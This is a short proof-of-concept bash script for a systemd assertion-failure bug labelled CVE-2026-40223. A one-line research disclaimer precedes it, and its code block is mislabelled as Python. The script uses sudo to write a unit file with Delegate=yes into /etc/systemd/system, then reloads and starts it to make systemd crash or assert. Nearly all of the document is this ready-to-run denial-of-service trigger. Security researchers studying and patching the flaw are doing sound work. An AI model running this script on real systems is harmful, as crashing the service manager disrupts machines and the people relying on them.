The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-40223: systemd assertion failure PoC
SERVICE_NAME="poc-cve-2026-40223.service"
SERVICE_FILE="/etc/systemd/system/$SERVICE_NAME"
# Create a unit file with Delegate=yes and no User set
echo "[Unit]" | sudo tee $SERVICE_FILE > /dev/null
echo "Description=PoC for CVE-2026-40223" | sudo tee -a $SERVICE_FILE > /dev/null
echo "[Service]" | sudo tee -a $SERVICE_FILE > /dev/null
echo "Type=simple" | sudo tee -a $SERVICE_FILE > /dev/null
echo "Delegate=yes" | sudo tee -a $SERVICE_FILE > /dev/null
echo "ExecStart=/usr/bin/sleep 300" | sudo tee -a $SERVICE_FILE > /dev/null
# Reload systemd and start the service to trigger the bug
sudo systemctl daemon-reload
sudo systemctl start $SERVICE_NAME
echo "Service started. If vulnerable, systemd may crash or trigger an assert."